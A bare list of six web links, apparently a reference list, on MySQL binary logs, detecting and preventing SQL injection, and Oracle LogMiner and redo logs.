https://www.pc-erfahrung.de/sonstiges/webdesignwebentwicklung/mysql-binary-log- erklaerung-deaktivieren-und-loeschen.html https://www.red-gate.com/hub/product-learning/sql-monitor/detect-sql-injection-attacks-using- extended-events-sql-monitor https://www.sqlshack.com/sql-injection-detection-and-prevention/ http://www.oramirror.com/logminer_de.html http://www.datenbank-backup.de/redolog.htm https://www.informatik-aktuell.de/betrieb/datenbanken/oracle-redo-logs-informationen-soweit- der-logminer-reicht.html